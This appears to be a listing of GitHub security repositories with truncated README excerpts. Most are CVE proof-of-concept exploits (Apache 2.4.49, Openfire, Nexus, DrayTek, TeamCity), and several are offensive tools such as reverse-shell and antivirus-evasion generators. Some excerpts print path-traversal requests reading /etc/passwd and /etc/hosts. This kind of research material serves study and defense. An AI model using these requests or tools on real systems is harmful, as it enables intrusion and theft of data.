Analysis

Detection Engineering Notes and Analysis This repository documents hands on detection research based on lab testing, log analysis, and real SOC workflows. The focus is on how attacker techniques actually appear in logs, what detection logic works in practice, what fails, and where false positives...

CVE-2023-32315

CVE-2023-32315 GET /setup/setup-s/%002e%002e/Su002esu002e/log.jsp HTTP/1.1 Host: 192.168.40.132:9090 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; X64 AppleWebKit/537.36 KHTML, like Gecko Chrome/109.0.5414.120 Safari/537.36 Accept:...

CVE-2021-41773-PoC

CVE-2021-41773 Proof of Concept Quick and dirty proof of concept for checking if hosts vulnerable to CVE-2021-41773 python3 full.py hosts.txt Where hosts.txt contains your targets: domain.com blah.com 192.168.1.1 It'll print out if the host is vulnerable or not vulnerable. Python version of bash:...

powershell-reverse-tcp

PowerShell Reverse TCP PowerShell scripts for communicating with a remote host. Remote host will have a full control over the client and all the underlying system commands. Check shells based on: Invoke-Expression PowerShell command here, process pipes here. Tested with PowerShell v5.1.19041.2673...

msf_shellcode_analysis

Static analysis of a Metasploit shellcode For a first blogpost, I thought it'd be nice to analyze a common Metasploit shellcode - it's a great opportunity to discuss topics such as encoding, PEB, Windows shellcodes and Export Address Tables. Getting started We start with an intercepted, long...

PoC-CVE-2021-41773

CVE-2021-41773 Apache HTTP Server Path Traversal Exploit A Python exploit for CVE-2021-41773, a path traversal vulnerability in Apache HTTP Server 2.4.49 that allows reading arbitrary files from the server. Vulnerability Details CVE-2021-41773 is a path traversal vulnerability in Apache HTTP Serv...

CVE-2021-41773

https://target/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts id: CVE-2021-41773 info: name: Apache 2.4.49 Exploit author: numanturle severity: high requests: - method: GET path: - "BaseURL/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts" matchers-condition: and matchers: - type: regex regex: -...

tesseract

Unit Testing for Tesseract Requirements Files and structure ├── langdatalstm │ ├── common.punc │ ├── common.unicharambigs │ ├── desiredbigrams.txt │ ├── eng │ │ ├── desiredcharacters │ │ ├── eng.config │ │ ├── eng.numbers │ │ ├── eng.punc │ │ ├── eng.singlestext │ │ ...

CVE-2021-41773

CVE-2021-41773 POC & Lab For CVE-2021-41773 Setup Lab $ git clone https://github.com/0xc4t/CVE-2021-41773 $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run --name cve-2021-41773 -p 81:80 cve-2021-41773 PoC RCE curl...

mcreator

mcreator Encoded Reverse Shell Generator With Techniques To Bypass AV's Installation git clone https://github.com/blacknbunny/mcreator.git && cd mcreator/ && python mcreator.py Version python 2.7. can't be lower or higher than 2.7 cause of the """ syntax in scripts. Runnig mcreator console python...

basecrack

BaseCrack Decoder For Base Encoding Schemes BaseCrack is a tool written in Python that can decode all alphanumeric base encoding schemes. This tool can accept single user input, multiple inputs from a file, input from argument, multi-encoded bases , bases in image EXIF data , bases on images with...

CVE-2022-32548-RCE-POC

CVE-2022-32548-RCE-POC DrayTek unauthenticated remote code execution vulnerability CVE-2022-32548 in /cgi-bin/wlogin.cgi via username field Technical details The web management interface of the vulnerable DrayTek devices is affected by a buffer overflow on the login page at /cgi-bin/wlogin.cgi. A...

BadOutlook

Bad Outlook A simple PoC which leverages the Outlook Application Interface COM Interface to execute shellcode on a system based on a specific trigger subject line. By utilizing the Microsoft.Office.Interop.Outlook namespace, developers can represent the entire Outlook Application or at least...

poc-cve-xss-encoded-wp-inventory-manager-plugin

Update - 5/10/2023 The CVE-2023-2123 ID was reserved and the PoC was published in the WPScan website: https://wpscan.com/vulnerability/44448888-cd5d-482e-859e-123e442ce5c1 Details Title: Unauthenticated Reflected Cross-Site Scripting in WP Inventory Manager Plugin for WordPress CMS Date: 2023-04-...

SUSE CVE-2026-115700

Interpretation Conflict vulnerability in hackneyurl in benoitc hackney allows Server Side Request Forgery via a percent-encoded bracketed IPv6 literal or an IP literal with a trailing dot. A host such as %5B%3A%3Affff%3A127%2E0%2E0%2E1%5D decoding to ::ffff:127.0.0.1 or 127.0.0.1. is not an IP...

Apache-CVE-2021-41773

CVE-2021-41773 Apache HTTP Server Path Traversal Contributors 이희수@lheeeesoo Apache HTTP Server 2.4.49 has a vulnerability where it fails to properly block encoded parent paths during URL path normalization. An attacker can use values like .%2e to traverse outside the directories that the web serv...

CVE-2025-14321

CVE-2025-14321 Proof of Concept Description PoC for a Use-After-Free UAF vulnerability in the RTCEncodedFrameBase component of Firefox, exploitable via the WebRTC Encoded Transforms API. CVE-2025-14321 : The destructor of RTCEncodedFrameBase does not call DetachArrayBuffer when releasing the nati...

CVE-2024-4956-PoC

title="Nexus Repository Manager" GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 Windows NT 5.1; rv:21.0 Gecko/20100101 Firefox/21.0Connection: closeAccept: /Accept-Language: enAccept-Encoding: gzip...

CVE-2021-41773

CVE-2021-41773 — PoC: Path Traversal + RCE via modcgi For use only in controlled environments that you own. Do not use against systems without authorization. Description Proof of concept developed to demonstrate and understand the vulnerability CVE-2021-41773 , present in Apache HTTP Server 2.4.4...

CVE-2023-42793

About CVE-2023-42793 You will need to obtain the token first through using different exploit. However, the following exploit will allow you to obtain RCE into the Linux server as it encoded the payload in URL and sends it to the server. How to use python3 ./main -t TEAMCITYTOKEN -u...